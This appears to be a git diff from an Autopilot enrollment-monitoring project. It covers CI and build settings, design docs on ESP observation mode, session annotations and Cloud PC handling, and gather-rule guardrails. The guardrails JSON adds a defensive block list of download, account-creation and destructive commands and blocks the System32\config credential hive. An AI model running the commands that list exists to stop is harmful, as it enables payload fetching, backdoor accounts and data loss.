- name: Lint
run: npm run lint -- --max-warnings 99
run: npm run lint -- --max-warnings 0
- name: Tests
run: npm test
@@ -107,8 +106,22 @@ jobs:
- name: Typecheck
run: npx tsc --noEmit
# The vector-search tests tokenize with the real all-MiniLM-L6-v2 model
# (~23 MB tokenizer + ONNX weights). transformers.js caches under
# node_modules by default, which npm ci recreates — so every CI run
# re-downloaded from huggingface.co and rate-limits (429) failed the job
# (run 31252869254). Persist the model across runs instead; HF_CACHE_DIR
# is honored by vector-search-provider.ts.
- name: Cache embedding model
uses: actions/cache@v6
with:
path: ${{ github.workspace }}/.hf-cache
key: hf-model-Xenova-all-MiniLM-L6-v2
- name: Tests
run: npm test
env:
HF_CACHE_DIR: ${{ github.workspace }}/.hf-cache
guardrails-in-sync:
name: Generated guardrails match rules/guardrails.json
+12
View File
@@ -0,0 +1,12 @@
<Project>
<!-- Warning freeze (2026-08-13, backlog cleared to zero): every .NET build in this repo
must stay warning-free. Compiler, MSBuild and NuGet restore warnings are all fatal.
Exception: NuGet audit advisories (NU1901-NU1904) stay warnings — a CVE published
against an already-referenced package must not block an unrelated hotfix deploy;
advisories are handled by bumping the package, not by failing the build. -->
<PropertyGroup>
<TreatWarningsAsErrors>true</TreatWarningsAsErrors>
<MSBuildTreatWarningsAsErrors>true</MSBuildTreatWarningsAsErrors>
<WarningsNotAsErrors>NU1901;NU1902;NU1903;NU1904</WarningsNotAsErrors>
</PropertyGroup>
</Project>
+8
View File
@@ -21,6 +21,14 @@ three of them to turn the `autopilot_profile_missing` warning from a guess into
evidence-backed verdict, and the backend rule engine uses the error-code map for
known-issue enrichment.
Windows 365 Cloud PC exception: on Cloud PCs (`CloudPcDetector.DetectIsCloudPc()`)
`ProfileAvailable=0` is the expected state — Cloud PCs are provisioned by the Windows 365
service, not by Autopilot. The event is still emitted with the full evidence payload plus
an `isCloudPc` marker, but as severity Info with a "this is expected" message instead of
a Warning (`DeviceInfoCollector.ResolveAutopilotProfileMissingPresentation`). The portal's
Autopilot Profile card mirrors this: a neutral note for Cloud PC sessions
(`session.isCloudPc` or the event marker), the amber warning otherwise.
Consumers in this repo:
* `ZtdEvidence.cs` (agent) — one-shot event-log query + `Diagnostics\Autopilot` registry
+114
View File
@@ -0,0 +1,114 @@
---
type: Concept
title: Continue-Anyway Observation Mode — Device-Phase ESP Failure Defang
description: Operator-set tenant opt-in that turns an immediate Device-phase ESP terminal failure on a Continue-Anyway-enabled profile into a bounded 60-minute observation; the DAD-validated real-user desktop plus the Hello gate detect the true end, and the session completes as Succeeded with an esp-soft-failure marker.
resource: /src/Shared/AutopilotMonitor.DecisionCore/Engine/DecisionEngine.Edge.cs
tags:
- agent
- decision-engine
- esp
- continue-anyway
- soft-failure
- tenant-config
timestamp: 2026-08-08T00:00:00+02:00
---
# Continue-Anyway Observation Mode
## Problem
A Classic user-driven enrollment whose Device ESP hits the configured terminal timeout
(`syncFailureTimeoutMinutes`, typically 30) fails **before AccountSetup is ever entered**.
The classic advisory defang (`HandleEspTerminalFailureV1`) requires
`AccountSetupEnteredUtc != null`, so these sessions hard-fail immediately — even when the
ESP profile allows "Continue anyway" and users demonstrably dismiss the failure screen and
reach a working desktop. A fleet held at the timeout wall by one slow blocking app then
shows ~100% Failed (tenant c9787ba2: 948/1000 `esp_terminal_failure`, culprit "Encompass
Hybrid Installer"), which tells the tenant nothing.
## Mechanism
Opt-in flow (default off — absence keeps the immediate hard fail):
1. **Tenant setting** `EnableEspContinueAnywayObservation` (`TenantConfiguration`,
operator-set only, NOT exposed in the tenant admin settings UI; the toggle lives in
the Global-Admin tenant management modal next to Bootstrap Token / Unrestricted Mode,
and the field is GA-gated on both write paths — the generic PUT silently reverts it
for tenant admins, the field patch rejects it with 400) → served via `agent/config`
(`AgentConfigResponse`, ConfigVersion 37).
2. **Agent** stamps `espContinueAnywayObservationEnabled=true` into the
`EspConfigDetected` signal payload (both emitters: the orchestrator FirstSync
bootstrap and `DeviceInfoCollector.PostEspConfigDetectedSignal`) — only when enabled,
so the kernel stays config-free and replay/recovery reconstruct the fact from the
signal log.
3. **Engine** (`HandleEspTerminalFailureV1`): a terminal ESP failure is defanged into an
`esp_failure_advisory` (`advisoryReason=esp_failure_defanged_continueanyway_observation`)
when ALL hold: profile allows Continue-Anyway, observation opt-in observed,
`AccountSetupEnteredUtc == null`, and the scenario is Classic/Unknown with
`PreProvisioningSide=None` and no registry self-deploying marker (WhiteGlove /
SelfDeploying / DevicePreparation have no interactive user to press the button).
4. **Observation window**: the shared `AdvisoryCompletion` deadline is armed with a
**60-minute** window (classic advisory: 30) — long enough for failure screen →
Continue anyway → sign-in → desktop, or a full device-phase re-run via "Try again".
## Detecting the real end
The active-advisory-without-AccountSetup shape is unique to this arming site, so
`IsContinueAnywayObservationActive(state)` (advisory recorded ∧ not resolved ∧
AccountSetup never entered) needs no separate opt-in re-check. Three outcomes:
* **Continue anyway** — the DAD-validated real-user desktop arrives (defaultuser0/SYSTEM
excluded at the detector) and the Hello gate is satisfied (resolved, or policy
explicitly disabled without an observed wizard): `HandleDesktopArrivedV1` completes
eagerly through Finalizing (trigger `DesktopArrived:ContinueAnywayObservation`) — the
session end reflects the real end, not the window edge. The IME user-session gate is
deliberately waived: it anchors on `AccountSetupEnteredUtc`, which is structurally
absent here. The terminal `enrollment_complete` carries `espSoftFailure=true`,
`completionSource=continue_anyway_observation` and the failed category; the backend
stamps `EspSoftFailure`/`CompletionSource` on the Sessions row (+ SessionsIndex
mirror) and the web renders the amber "with issues" badge plus a detail banner.
Sessions completing under the CLASSIC advisory (AccountSetup entered) carry the same
marker with `completionSource=continue_anyway_post_accountsetup`.
* **Try again** — the ESP re-runs the failed category; `DeviceSetupProvisioningComplete`
resolves the advisory via the 4910a5a5 recovery hook (`esp_failure_advisory_resolved`)
and the session continues on the normal rails, completing clean (no marker).
* **Nothing** — the window expires: un-defang to `enrollment_failed` with the original
`esp_terminal_failure` reason and
`advisoryReason=continue_anyway_observation_window_expired_without_completion_evidence`;
`LastFailureTrigger=EspTerminalFailure` keeps the likely-stuck app promotion on. Every
observed session therefore still gets a terminal verdict ≤ ~60 min after the failure.
Deadline-fire edge cases mirror the classic paths: desktop + unknown Hello promotes to
`AwaitingHello` with the HelloSafety window (never-observed promote), and enforcement
progress since arming re-arms the window (30-min re-arm, convergent) instead of failing a
device mid-"Try again".
## Status semantics
No new terminal status: the session is `Succeeded` + `EspSoftFailure=true` (user
decision 2026-08-08). Success-rate conventions stay untouched; honesty lives in the
badge, the detail banner, and ANALYZE-ESP-004 (which continues to fire on the un-defang
expiry path via `mayHaveContinuedAnyway`).
# Examples
Session `53d1e9f6-4eef-4f3b-a999-c63e96c5148d` (tenant c9787ba2, 2026-08-07) is the
motivating shape: DeviceSetup/Certificates failed at the 30-min wall while "Encompass
Hybrid Installer" was still installing, AccountSetup 0/5, Continue-Anyway allowed —
hard-failed under the default semantics.
Tests: `ContinueAnywayObservationTests` (DecisionCore.Tests) — defang, 60-min arming,
opt-out/scenario regressions, eager desktop completion with marker, clean-completion
marker absence, expiry un-defang, hello promotes, category recovery.
# Citations
* `src/Shared/AutopilotMonitor.DecisionCore/Engine/DecisionEngine.Edge.cs` — arming site,
observation branches in `HandleAdvisoryCompletionDeadlineFired`,
`IsContinueAnywayObservationActive`.
* `src/Shared/AutopilotMonitor.DecisionCore/Engine/DecisionEngine.Classic.cs` —
`HandleDesktopArrivedV1` observation completion, `BuildEnrollmentCompleteEffect`
soft-failure marker.
* `src/Backend/AutopilotMonitor.Functions/Services/EventIngestProcessor.Classification.cs`
/ `TableStorageService.Sessions.cs` — session stamping + index mirror.
* `src/Web/autopilot-monitor-web/components/SessionStatusBadge.tsx` — amber badge.
+10 -1
View File
@@ -101,7 +101,7 @@ installed `CloudManagedDesktopExtension` service (probed via its
`HKLM\SYSTEM\CurrentControlSet\Services` key; the agent deliberately has no
`System.ServiceProcess` dependency). SKIP-safe: any error resolves `false`.
Two independent transport rails, never an auth input:
Three independent transport rails, never an auth input:
- **Session metadata** — `SessionRegistration.IsCloudPc` →
Sessions table (sticky-true OR across re-registrations, like
@@ -110,6 +110,15 @@ Two independent transport rails, never an auth input:
MCP `search_sessions`/`query_raw_sessions`). Agent-reported and unverified —
can legitimately disagree with the server-derived `ValidatedBy = CloudPc`
(e.g. Cloud PC admitted via a stage that ran earlier).
- **Distress channel** — `DistressReport.IsCloudPc` (captured once at
`DistressReporter` construction, `BackendClientFactory`) rides every pre-auth
distress report → `DistressReportEntry.IsCloudPc` → the "Devices Not
Registered" report aggregates it **sticky-true** per serial
(`GetDeviceNotRegisteredFunction`) and the portal insight renders a Cloud PC
badge plus a hint pointing at the Cloud PC validation toggle + the
`W365CloudPcValidation` add-on. Same UNVERIFIED contract as all distress
fields; rows from older agents read false. Fits the existing 1536-byte
payload cap without a bump.
- **Decision engine** — the marker rides the `EnrollmentFactsObserved` payload
(`isCloudPc`), is recorded set-once for BOTH values in
`EnrollmentScenarioObservations.CloudPc`, and annotates the scenario profile
+122
View File
@@ -0,0 +1,122 @@
---
type: Concept
title: Session Annotations — Role-Separated Human Verdicts
description: The SessionAnnotations table (PK=tenantId, RK={sessionId}_{lane}) storing per-session human verdicts + notes in three role lanes (operator / tenantadmin / globaladmin), the per-lane write matrix with own-tenant binding, the platform-internal GA lane, the fired-rule-id snapshot that makes annotations rule-quality labels, and the portal/MCP surfaces.
resource: /src/Backend/AutopilotMonitor.Functions/Functions/Annotations/UpsertSessionAnnotationFunction.cs
tags:
- backend
- web
- mcp
- annotations
- authorization
- rule-quality
timestamp: 2026-08-11T00:00:00+02:00
---
# Schema
**Table.** `SessionAnnotations`: PartitionKey = `tenantId`, RowKey = `{sessionId}_{lane}` with
lane ∈ `operator | tenantadmin | globaladmin` (a closed set — `AnnotationLanes.All`). One row per
session + lane, edited in place; per-session reads use the RK range `ge '{sid}_' / lt '{sid}_~'`.
Serialization lives only in `TableSessionAnnotationRepository.StoreAnnotation`/`MapAnnotation`
(round-trip-pinned; corrupt `RuleIdsJson` degrades to an empty list on read).
**Row.** `Verdict` (nullable: `root_cause_confirmed | analysis_wrong | different_problem |
inconclusive`), `Note` (nullable, ≤ 4096 chars), `AuthorUpn`/`AuthorDisplayName` (last editor),
`CreatedByUpn`/`CreatedAtUtc` (first writer, immutable across edits), `UpdatedAtUtc`, and
`RuleIdsJson` — a **snapshot of the rule ids that had fired for the session at write time**
(from `IRuleRepository.GetRuleResultsAsync`, fail-soft to empty). The snapshot is what turns an
annotation into a rule-quality label without a join: filtering annotations by `ruleId` + `verdict`
yields confirmed vs false-positive counts per rule even after results are re-analyzed or deleted.
**Verdict + note are independently optional**; a PUT with both null **deletes** the lane row
(there is no DELETE route). Author identity is always stamped server-side from the JWT
(`TenantHelper.GetUserDisplayName` + `RequestContext.UserPrincipalName`) — a body-supplied
author never wins (same anti-spoof contract as the gather-rule PUT-upserts).
# Authorization
Routes (all in `EndpointAccessPolicyCatalog`):
| Route | Policy | Notes |
| --- | --- | --- |
| `GET sessions/{sessionId}/annotations` | `MemberRead` + QueryParam | handler filters the GA lane |
| `PUT sessions/{sessionId}/annotations/{lane}` | `TenantAdminOrOperator` + QueryParam | re-gated per lane in-function |
| `GET global/session-annotations` | `GlobalReadOrAdmin` + QueryParam | evaluation stream; delegated ("MSP") readers are rescue-admitted on a managed `?tenantId=` only |
**Per-lane write matrix** (`UpsertSessionAnnotationFunction.IsLaneWritableByCaller`, an
`internal static` pure function like `QueueSessionActionFunction.IsTypeAllowedForCaller`):
`operator` → tenant Operator or tenant Admin; `tenantadmin` → tenant Admin; `globaladmin` →
Global Admin only. **Own-tenant binding:** the session's tenant is resolved *before* the gate
(GA cross-tenant fallback via `FindSessionTenantIdAsync`), and tenant-role inputs are zeroed
when the resolved tenant differs from the caller's JWT tenant — so a GA who is also an admin of
their home tenant can never write another tenant's operator/tenantadmin lanes. Cross-tenant, a
GA writes exactly the `globaladmin` lane (the platform labeling flow).
**GA lane is platform-internal.** `GetSessionAnnotationsFunction.FilterLanesForCaller` drops the
`globaladmin` lane for every caller without `HasGlobalScope` (tenant members and delegated
admins). Both list endpoints enforce the same rule server-side via the repository's
`excludeGlobalAdminLane` OData clause — on the global route this matters exactly for the
delegated-rescue path, which reaches it without global scope. Tenant lanes are readable by all
members of that tenant.
**Audit.** Non-GA writes/clears log `LogAuditEntryAsync(..., "SessionAnnotation",
"{sessionId}/{lane}", ...)`; GA writes are skipped (platform-internal labeling must not surface
in the tenant-visible audit log — same convention as GA session-report submissions).
# Lifecycle
* **Per-session cascade delete**: three exact-RK steps (one per lane) in `DeletionManifestBuilder`
(orders 17–19; inventory 20/21, tombstone 22). `ComputePreflightCounts` sums repeated-table
steps so the `sessionAnnotations` count covers all lanes.
* **Tenant offboarding**: `SessionAnnotations` is in the PK=tenantId wipe list — deliberately
wiped, unlike `Feedback` (annotations are customer session data, not product feedback).
* **Backup**: member of `Constants.CriticalBackupTables.All` — hand-labeled data is the most
expensive data on the platform to lose.
* Being in `Constants.TableNames.All` auto-creates the table at startup and exposes it to the
raw `list_tables`/`query_table` tools.
# Surfaces
* **Portal**: `SessionAnnotationsCard` on the session detail page (`#section-annotations`, after
Analysis; registered in BOTH the section div and the `sessionSections` sidebar registry). The
card mirrors the matrix via the pure module `sessionAnnotationLogic.ts` (vitest-pinned) and
uses the explicit-Save pattern; the backend re-gates every save. Collapsed by default with a
count + verdict-pill summary header.
* **Portal overview page** `/annotations` (Monitoring sidebar group — deliberately NO new
"Insights" group; Fleet Health & co. are insights too and a second analytics group would
dilute both): tenant-scoped list backed by `GET sessions/annotations/list`
(`ListTenantSessionAnnotationsFunction`, MemberRead + QueryParam). The path sits under the
`/api/sessions` client-cert exclusion prefix (rename-over-exclusion convention; the Azure
exclusion list is portal-only config) and uses THREE segments because a two-segment literal
would be eaten by the `sessions/{sessionId}` route template. The tenant is always the
middleware-validated `TargetTenantId`, and for callers without global scope the repository
adds a server-side `Lane ne 'globaladmin'` OData clause — hidden rows never consume page
budget, and an explicit lane=globaladmin filter self-contradicts to an empty page. Rows
deep-link to `sessions?id=…#section-annotations`. The page carries the standard tenant
switcher (`useAggregatedAdminScope` + `TenantScopeSelector`): a GA/Reader defaults to the
"All tenants" aggregate (the portal twin of MCP's `list_session_annotations`) with per-tenant
drill-down, a delegated ("MSP") admin gets the managed subset; cross-tenant scopes route to
`GET global/session-annotations`, a tenant column appears, and deep links carry the row's
`tenantId`.
* **MCP read**: `get_session_summary` carries an `annotations` key (4th parallel leg, fail-soft
null); `list_session_annotations` (`ga`-gated) is the evaluation stream with `tenantId / lane /
verdict / ruleId / dateFrom / dateTo` filters and nextLink pagination. The `ruleId` filter is
applied server-side but client-of-Azure (substring on the JSON column), so the backend
back-fills short pages by looping the Azure continuation (bounded rounds) — filtered-out rows
never consume page budget.
* **MCP write**: `annotate_session` (`strictGa`-gated, MUTATING) always PUTs the `globaladmin`
lane — no lane argument by design. This is the frictionless labeling path after a session-debug.
* **Session reports**: `SessionReportService.SubmitReportAsync` snapshots ALL lanes into
`annotations.json` inside the report ZIP (`annotationCount` in report-metadata.json; fail-soft).
Safe because report blobs are readable only through the GA-only session-reports routes, and
valuable because the ZIP outlives the session's retention/delete.
# Citations
* `src/Shared/AutopilotMonitor.Shared/Models/SessionAnnotation.cs` — model, lanes, verdicts.
* `src/Backend/AutopilotMonitor.Functions/DataAccess/TableStorage/TableSessionAnnotationRepository.cs` — Store/Map + query back-fill.
* `src/Backend/AutopilotMonitor.Functions/Functions/Annotations/` — the three endpoints.
* `src/Backend/AutopilotMonitor.Functions/Pagination/SessionAnnotationsPagination.cs` — filter-bound continuation tokens.
* `src/Web/autopilot-monitor-web/app/sessions/components/sessionAnnotationLogic.ts` — portal matrix mirror.
* `src/McpServer/autopilot-monitor-mcp/src/tools/admin.ts` — `list_session_annotations`, `annotate_session`.
+2
View File
@@ -23,6 +23,7 @@ https://docs.autopilotmonitor.com (separate repository).
* [Gather Rule Debug Log](agent/gather-rule-debug-log.md) - EnableGatherRuleDebugLog (ConfigVersion 36): the per-tenant local trace file that explains every gather-rule evaluation decision — scope skips, on_change suppression, empty collector results, logparser position/parse-mode outcomes — for rules that produce no timeline events.
* [MDM Reboot Coalescing](agent/mdm-reboot-coalescing.md) - Attributing the mid-ESP coalesced reboot ("second sign-in") to the device-assigned policy URIs that forced it: aggregated DM-Enterprise 2800 observations (neutral, flush-time watermark) + the ANALYZE-ESP-005 advisory gated on an actually-observed reboot.
* [Secure Boot CA-2023 Detection](agent/secureboot-ca2023-detection.md) - Why ANALYZE-SEC-001 v3 reads the UEFI db/KEK variables directly instead of trusting the SecureBoot\Servicing registry, and how the one-sided uefiCa2023FirmwareConfirmed marker plus a not_exists precondition give absence-tolerant suppression across old and new agents.
* [Continue-Anyway Observation Mode](agent/continue-anyway-observation.md) - EnableEspContinueAnywayObservation (ConfigVersion 37, operator-set): Device-phase ESP terminal failures on Continue-Anyway profiles get a bounded 60-min observation instead of an immediate hard fail; the DAD-validated real-user desktop + Hello gate detect the true end, the session completes Succeeded + EspSoftFailure (amber "with issues" badge), expiry un-defangs to the original esp_terminal_failure.
* [ESP Policy-Provider Stall Detection](agent/esp-policy-provider-stall.md) - The EnrollmentStatusTracking CSP's no-timeout Setup/Apps wait is keyed to the Intune-registered "Sidecar" provider by NAME: co-management's "ConfigMgr" parks the user ESP at "Apps (Identifying)" for days even with TrackingPoliciesCreated=1 (issue #106); the always-on two-arm esp_policy_provider_stalled tripwire (provider_incomplete | sidecar_provider_missing) and the SOFTWARE\Microsoft\Windows\Autopilot gather-rule allowlist entry that surface it.
# Rules
@@ -41,6 +42,7 @@ https://docs.autopilotmonitor.com (separate repository).
* [Tenant Activation & the Once-Only Welcome Mail](backend/tenant-activation-welcome-mail.md) - How a signup becomes an activated tenant (manual approve or the auto-approve queue), and the write-then-read + conditional-marker arbitration that sends the welcome mail exactly once even though activation and the user-typed notification address race each other.
* [W365 Cloud PC Device Validation](backend/cloudpc-device-validation.md) - Why Cloud PCs can never pass the Autopilot serial lookup, and the cert-CN-bound CloudPc fallback validator: Subject CN (= Intune device id) matched against the tenant's Graph virtualEndpoint/cloudPCs inventory — admits exactly the service-provisioned Cloud PCs, nothing else.
* [ServerActions & On-Demand Diagnostics](backend/server-actions-on-demand-diagnostics.md) - The queue-on-session, deliver-on-ingest action channel, the TenantAdminOrOperator tier with in-function per-type re-gating, the portal's Collect Logs flow (quick-config orders rotate_config before request_diagnostics), and the hosted-prefix sweep in the offboarding cascade.
* [Session Annotations](backend/session-annotations.md) - Role-separated human verdicts on sessions (operator / tenantadmin / globaladmin lanes, one row each): the per-lane write matrix with own-tenant binding, the platform-internal GA lane, the fired-rule-id snapshot that makes annotations rule-quality labels, and the portal card + MCP list/annotate surfaces.
# MCP Server
+26
View File
@@ -1,5 +1,31 @@
# Log
## 2026-08-13
* **Update**: `backend/session-annotations.md` — the `/annotations` portal overview page now carries the standard tenant switcher (GA/Reader: "All tenants" aggregate + per-tenant drill-down via `GET global/session-annotations`; delegated: managed subset), with a tenant column and tenant-qualified session deep links. The global list endpoint now derives `excludeGlobalAdminLane` from `HasGlobalScope`, so delegated-rescue callers on their managed `?tenantId=` path never receive the platform-internal `globaladmin` lane (endpoint-test-pinned).
## 2026-08-12
* **Update**: `agent/autopilot-ztd-diagnostics.md` — Windows 365 Cloud PC exception documented: on Cloud PCs `ProfileAvailable=0` is expected (provisioned by the Windows 365 service, not Autopilot), so `autopilot_profile_missing` is emitted as Info with a Cloud-PC-specific message and an `isCloudPc` payload marker (`ResolveAutopilotProfileMissingPresentation`); the portal's Autopilot Profile card renders a neutral note instead of the amber warning for Cloud PC sessions (`session.isCloudPc` or the event marker).
## 2026-08-11 (later)
* **Creation**: Added `backend/session-annotations.md` — session annotations: the new `SessionAnnotations` table (PK=tenantId, RK=`{sessionId}_{lane}`, lanes operator/tenantadmin/globaladmin) storing structured verdicts (`root_cause_confirmed | analysis_wrong | different_problem | inconclusive`) + notes with server-stamped authorship and a fired-rule-id snapshot for join-free rule-quality evaluation. Per-lane write matrix re-gated in-function with own-tenant binding (a GA writes only the platform-internal `globaladmin` lane cross-tenant; tenant callers never see that lane). Surfaces: portal `SessionAnnotationsCard` (session detail, after Analysis), MCP `list_session_annotations` (ga) + `annotate_session` (strictGa, always the GA lane) + `annotations` key in `get_session_summary`. Lifecycle: per-session cascade steps 17–19, offboarding wipe, critical-backup member.
## 2026-08-11
* **Update**: `rules/gather-rule-guardrails.md` — hard-block mirroring closed across all pre-flight layers: `rules/guardrails.json` now also mirrors `blockedCommandPatterns` + `maxCommandLength` and carries `C:\Windows\System32\config` in `blockedFilePrefixes`; portal (`guardValidation.ts`) and MCP (`rule-validation.ts`) apply them in agent order (before the unrestricted-mode early-return), so a command the agent hard-blocks no longer shows "Allowed" in unrestricted tenants. `GuardrailsParityTests` pins the JSON mirror to the C# constants. MCP `validate_rule` additionally validates `json`/`xml` targets with file semantics (the schema's `collectorType` enum was missing both) and rejects `activePhases`+`activeFromPhase` set together (backend 400 parity). Author stamping extended to PUT-upserts: tenant and global gather-rule updates stamp the caller's JWT display name before the service call, so an upsert of a non-existing ruleId can no longer store a payload-supplied author (true updates still preserve the original author).
## 2026-08-10
* **Update**: `rules/gather-rule-guardrails.md` — WMI matcher generalized from literal prefix matching to shape parsing: `SELECT <* | property-list> FROM <class>` is allowed when the class is derived from the existing `SELECT * FROM <class>` entries (a projection is a strict subset; motivated by `SELECT BatteryStatus FROM Win32_Battery` + `on_change` battery polling that `SELECT *` defeats via fluctuating charge %). Same algorithm mirrored agent/portal/MCP; guardrails.json unchanged. Portal now also gates enabling on the client-side validation (invalid-target custom rules create disabled, cannot be toggled on, force-disable on invalid edit, "Blocked on devices" badge) — UX only, the agent guard stays the boundary. Gather-rule Author is now stamped from the creator's JWT (display name → UPN) at create and immutable on update.
* **New**: `agent/continue-anyway-observation.md` — Continue-Anyway observation mode (`EnableEspContinueAnywayObservation`, ConfigVersion 37, operator-set): Device-phase ESP terminal failures on Continue-Anyway profiles are defanged into a 60-min observation window (Classic/Unknown, non-pre-prov only); real-user desktop + Hello gate complete the session as Succeeded + `EspSoftFailure`/`CompletionSource` (amber "with issues" badge + detail banner), category recovery resolves clean, expiry un-defangs to the original `esp_terminal_failure`. Registered in the Agent index section. Related backend fix (no doc): the auto-analyze enqueue now carries a 30 s `visibilityTimeout` so rule evaluation no longer races the agent's terminal flush (ANALYZE-ESP-004's `{{appName}}` placeholder).
## 2026-08-07 (later)
* **Update**: `backend/cloudpc-device-validation.md` — third `IsCloudPc` transport rail: the pre-auth distress channel. `DistressReport.IsCloudPc` (CloudPcDetector verdict captured at `DistressReporter` construction) → `DistressReportEntry`/table column → "Devices Not Registered" aggregation (sticky-true per serial, same OR semantics as the Sessions merge) → portal Cloud PC badge + actionable hint ("enable Windows 365 Cloud PC Validation + W365CloudPcValidation add-on"). Motivated by the first W365 field run: the rejected Cloud PC showed up as anonymous "Microsoft Corporation / Virtual Machine" with no clue that the fix is the Cloud PC validator, not Autopilot registration. UNVERIFIED like all distress fields; ≤18 bytes, fits the 1536-byte cap.
## 2026-08-07
* **Update**: `backend/cloudpc-device-validation.md` — the "deliberately out of scope" follow-up landed in the same PR: agent-side `IsCloudPc` flag (`CloudPcDetector`, bootstrap-verified marker AND: Windows365 key + CloudManagedDesktopExtension service key, SKIP-safe) rides two rails — `SessionRegistration` → Sessions/Index (sticky-true) → `SessionSummary` + `isCloudPc` search filter (portal/raw/MCP), and the `EnrollmentFactsObserved` payload → `EnrollmentScenarioObservations.CloudPc` (set-once, both values) with profile reason `cloud_pc_first_connect:no_device_esp_expected` + `cloud_pc_marker` in the audit-trail census. Reason+observation only: no completion arm depends on DeviceSetup, Mode stays AccountSetup/IME-classified, EspConfig keeps configured-FirstSync semantics. Never an auth input.
+19 -5
View File
@@ -7,14 +7,14 @@ description: >-
guard rather than trusting rule.Target.
resource: src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather
tags: [gather-rules, security, guardrails, agent]
timestamp: 2026-07-22
timestamp: 2026-08-11
---
# Concept
A gather rule is authored by a **tenant administrator** through `POST /api/rules/gather` and executed by the agent as **SYSTEM** on an enrolling device. The backend does not validate `collectorType`, `target`, or `parameters` at all — it only enforces scope/emit-mode fields, a 1 MB body cap, and that the rule lands in the caller's own tenant partition. Everything that decides *what a rule may reach* is therefore enforced **on the agent**, in `GatherRuleGuards`.
A gather rule is authored by a **tenant administrator** through `POST /api/rules/gather` and executed by the agent as **SYSTEM** on an enrolling device. The backend does not validate `collectorType`, `target`, or `parameters` at all — it only enforces scope/emit-mode fields, a 1 MB body cap, that the rule lands in the caller's own tenant partition, and that `Author` is stamped from the caller's JWT (create and PUT-upsert; true updates preserve the original author). Everything that decides *what a rule may reach* is therefore enforced **on the agent**, in `GatherRuleGuards`.
This is the security boundary. The portal's `ValidationIndicator` is a convenience: it does not block submit, and the API is reachable directly.
This is the security boundary. The portal's `ValidationIndicator` is a convenience — the API stays reachable directly and the backend stays validation-free — but since 2026-08 the portal additionally **gates enabling** on the same client-side validation: a custom rule whose target fails validation cannot be toggled on, is created `enabled=false`, and an edit that makes the target invalid force-disables the rule (`targetBlocked` in `app/gather-rules/types.ts`). An enabled rule with an invalid target shows a "Blocked on devices" badge. All of this is UX, not security — the agent guard remains the enforcement point.
# Schema
@@ -27,7 +27,7 @@ item in `AutopilotMonitor.Agent.V2.Core.csproj`) and regenerated into the portal
| --- | --- | --- |
| `IsRegistryPathAllowed` | `registryPrefixes` | prefix, boundary `\` or end |
| `IsFilePathAllowed` | `filePrefixes` | `Path.GetFullPath` first, then prefix + boundary |
| `IsWmiQueryAllowed` | `wmiQueryPrefixes` | prefix, boundary whitespace or end |
| `IsWmiQueryAllowed` | `wmiQueryPrefixes` | `SELECT <* \| property-list> FROM <class>`; class = case-insensitive equality against classes derived from the `SELECT * FROM <class>` entries, boundary whitespace or end (trailing `WHERE` allowed). Non-canonical entries (none today) fall back to literal prefix + boundary |
| `IsCommandAllowed` | `allowedCommands` | **exact** match, trimmed — never prefix |
| `IsEventLogChannelAllowed` | `eventLogChannels` | prefix, boundary `/` or end |
@@ -44,7 +44,12 @@ but the hard blocks must hold regardless of configuration:
PowerShell channels (script-block logging routinely contains secrets in clear text).
`rules/guardrails.json` mirrors the blocked lists (`blockedFilePrefixes`,
`blockedEventLogChannels`) **for display only**. Enforcement is the C# constant.
`blockedEventLogChannels`, `blockedCommandPatterns`, `maxCommandLength`) **for display
and pre-flight only**. Enforcement is the C# constant; `GuardrailsParityTests` (agent
test project) pins the JSON mirror to the constants so neither side can drift. The
portal (`utils/guardValidation.ts`) and the MCP validator (`rule-validation.ts`) apply
the mirrored hard blocks in the same order as the agent — before the unrestricted-mode
early-return — so a rule the agent would refuse is never shown as "Allowed".
# Examples
@@ -71,6 +76,15 @@ Two collectors were added to this contract on 2026-07-22 after shipping without
remote config. The operator using it is already a local admin, so it relaxes the
allowlist exactly the way unrestricted mode does — hard blocks still apply.
**WMI property projections (2026-08):** `SELECT BatteryStatus FROM Win32_Battery` is
allowed because `SELECT * FROM Win32_Battery` is — a projection exposes a strict subset
of the allowed class. The matcher parses the query shape instead of literal-prefix
matching; the allowed-class set is derived at load time from the existing
`wmiQueryPrefixes` entries, so `rules/guardrails.json` needs no new key. The same
algorithm is mirrored in the portal (`utils/guardValidation.ts`) and the MCP server
(`rule-validation.ts`); agents older than the change still block projections with a
`security_warning` until they self-update.
# Citations
* `src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs`
+23 -2
View File
@@ -250,6 +250,27 @@
"C:\\Install\\Log"
],
"blockedFilePrefixes": [
"C:\\Users"
]
"C:\\Users",
"C:\\Windows\\System32\\config"
],
"blockedCommandPatterns": [
"Invoke-WebRequest",
"Invoke-RestMethod",
"Start-BitsTransfer",
"wget",
"curl",
"certutil -urlcache",
"New-LocalUser",
"Add-LocalGroupMember",
"net user",
"net localgroup",
"bcdedit",
"bcdboot",
"schtasks /create",
"Register-ScheduledTask",
"Remove-Item -Recurse",
"Format-Volume",
"Set-ExecutionPolicy"
],
"maxCommandLength": 2000
}
+1 -1
View File
@@ -67,7 +67,7 @@
"collectorType": {
"type": "string",
"description": "Type of data collection.",
"enum": ["registry", "eventlog", "wmi", "file", "command_allowlisted", "logparser"]
"enum": ["registry", "eventlog", "wmi", "file", "json", "xml", "command_allowlisted", "logparser"]
},
"target": {
"type": "string",
+6
View File
@@ -154,6 +154,12 @@ ${flatArray(flatEventLogChannels)}
export const BLOCKED_EVENT_LOG_CHANNELS: readonly string[] = [
${flatArray(guardrails.blockedEventLogChannels)}
];
export const BLOCKED_COMMAND_PATTERNS: readonly string[] = [
${flatArray(guardrails.blockedCommandPatterns)}
];
export const MAX_COMMAND_LENGTH = ${guardrails.maxCommandLength};
`;
fs.writeFileSync(guardrailsOutput, ts, 'utf8');
@@ -1,523 +0,0 @@
<#
.SYNOPSIS
DEV bootstrap script (v2.3-dev) to deploy and start the Autopilot Monitor agent.
.DESCRIPTION
DEV VARIANT of Install-AutopilotMonitor.ps1 for validating the v2.3 Cloud-PC-relax
on Windows 365 before promoting it to the production script. Differences to v2.2:
- Cloud-PC-relax (see below) as a second trigger for the guard 2+3 exemption
- Raw OutOfBoxExperienceState value is logged (diagnosis)
- Logs to bootstrap_agent_dev.log so runs never interleave with the prod script
- Testable structure: guard/relax logic lives in functions; the script only
executes when run directly. Dot-sourcing it (as the Pester suite in
Install-AutopilotMonitor-dev.Tests.ps1 does) loads the functions without
side effects.
Designed to be deployed via Intune as a PowerShell Script during Autopilot.
